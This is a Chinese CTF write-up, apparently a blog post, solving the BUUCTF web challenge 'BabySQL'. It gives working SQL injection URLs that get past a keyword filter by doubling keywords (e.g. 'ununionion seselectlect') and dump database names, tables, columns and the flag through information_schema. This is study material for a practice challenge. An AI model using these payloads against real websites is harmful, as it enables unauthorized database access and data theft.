CTF-Web-[极客大挑战 2019]BabySQL

CTF-Web-[极客大挑战 2019]BabySQL

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Web类,[极客大挑战 2019]BabySQL

image-20200503171723995

打开题目的实例

image-20200503171743216

思路

当然第一步还是尝试万能密码,然后发现or不能用,这时候要记得使用双写

首先测试一下,发现union和select过滤了

/check.php?username=admin&password=1 %27 union select 1 %23 

image-20200503172957848

使用双写
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

image-20200503173223549

还是报错,但是没有说是我们sql语法有问题,说明注入成功,可能是我们的列数不对,我们一个个向上调,应该不会很大

c

image-20200503173443097

在列数为3的时候得到回显,是不是很熟悉了,和上次那个LoveSQL很像啦,爆破!

爆破数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 

image-20200503174147488

试一下爆出所有的数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) %23 

image-20200503174500436

上面看到一个可疑的ctf库,爆它

爆表

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23 

image-20200503174743806

在里面找到一个flag表

爆字段
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag" %23 

image-20200503175029182

爆数据
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23 

image-20200503175146160

flag出来了

感谢

BUUCTF

以及勤劳的自己

 

猜你喜欢

转载自www.cnblogs.com/vwvwvwgwg/p/12822888.html
今日推荐